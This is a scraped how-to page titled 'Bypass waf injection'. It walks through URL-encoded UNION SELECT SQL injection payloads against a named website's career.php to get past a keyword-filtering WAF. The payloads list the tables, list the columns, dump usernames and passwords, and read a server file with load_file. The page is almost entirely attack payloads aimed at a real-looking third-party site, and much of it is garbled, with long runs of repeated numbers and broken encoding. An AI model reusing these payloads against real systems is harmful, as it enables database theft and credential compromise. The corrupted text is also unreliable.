Get the App
SLTechnology News&Howtos  ›  Network Security  › 

Bypass waf injection

Shulou Source: shulou.com Published: 2022-06-01 04:55:23 10月04日 Update

Waf filters keywords such as union select from.

1. List all tables in the current library

Http://jyht.co.uk/career.php

? id=11/**/and/**/1=2/**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,4 % 28%53%45%4C%45%43%54%20%47%52%4F%55%50%5F%43%4F%4E%43%41%54%28%69%2E%54%41%42%4C%45%5F%4E%41%4D%45%2C%30%78%33%43%36%32%37%32%32%46%33%45%29%20%46%52%4F%4D%20%69%6E%66%6F%72%6D%61 % 74% 69% 6F% 6e% 5F% 73% 63% 68% 65% 6D% 61% 2e% 54% 41% 42% 4C% 45% 53% 20% 69% 20% 57% 48% 45% 52% 45% 20% 69% 2e% 54% 41% 42% 4C% 45% 5F% 53% 43% 45% 4D% 41% 20% 3D% 20% 64% 61% 71% 61% 62% 61% 73% 65% 28% 29% 296 7,8,9,10,11,12,13,14,15,16,17,18

two。 Get field

Http://jyht.co.uk/career.php

? id=11/**/and/**/1=2/**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,4,group_concat (COLUMN_NAME,0x3C2F62723E), 6, 7, 8, 9 10 and 11, 12, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 16, 17, 18, 14, 12, 12, 12, 12, 12, 12, 14, 14, 14, 14, 14, 14, 10, 14, 14, 10, 14, 14, 10, 14, 14, 10, 12, 14, 14, 14, 14, 12, 12, 12, 12, 12, 12, 14, 14, 14, 14, 12, 14, 14, 14, 14, 14, 14, 16, 16, 18, 10, 12, 12, 12, 14, 14, 14, 10, 12, 12, 14, 14, 14, 14, 10, 12, 14, 10, 12, 14, 10, 12, 12, 14, 10, 12, 14, 14, 10, 12, 14, 10, 12, 12, 12, 12, 14, 10, 12, 12, 12, 12, 14, 14, 14, 10, 12, 14, 14, 14, 14, 14, 14, 14, 14, 10, 14, 14, 14, 14, 14, 14, 10, 14, 14, 14, 10, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 16, 17, 18, 10, 12, 14, 14, 14, 14, 36% 31% 36% 37% 36% 35% 37% 32

3. Get data directly

Http://jyht.co.uk/career.php

? id=11/**/and/**/1=2/**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,group_concat (id,0x3d,username,0x3d,password,0x3C62722F3E), 5, 6, 7, 8, 9, 10, 11, 11, 13, 14, 15, 16, 17, 18, 12, 12, 12, 14, 15, 16, 17, 18, 6, 6, 6, 6, 5, 6, 6, 6, 5, 6, 6, 5, 6, 6, 6, 5, 6, 5, 6, 6, 5, 6, 6, 6, 5, 6, 5, 6, 6, 6, 6, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,

4. Read files can be directly displayed on the page without hex (must be root)

Http://jyht.co.uk/career.php

Id=-11/**//**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,4,hex (load_file (0x443A5C776562736974655C6A696E797568656E67746F6E675C6A7968742E636F2E756B5C636C6173735C64625F6D7973716C2E636C6173732E706870)), 6, 7, 8, 9, 10, 11, 11, 14, 14, 15, 16, 17, 18

Tags: No key keyword column field data file page Apple Docker Huawei Linux macOS MariaDB Microsoft MySQL NVidia OPPO Reno MySQL Linux vpn MariaDB NVidia

Related Articles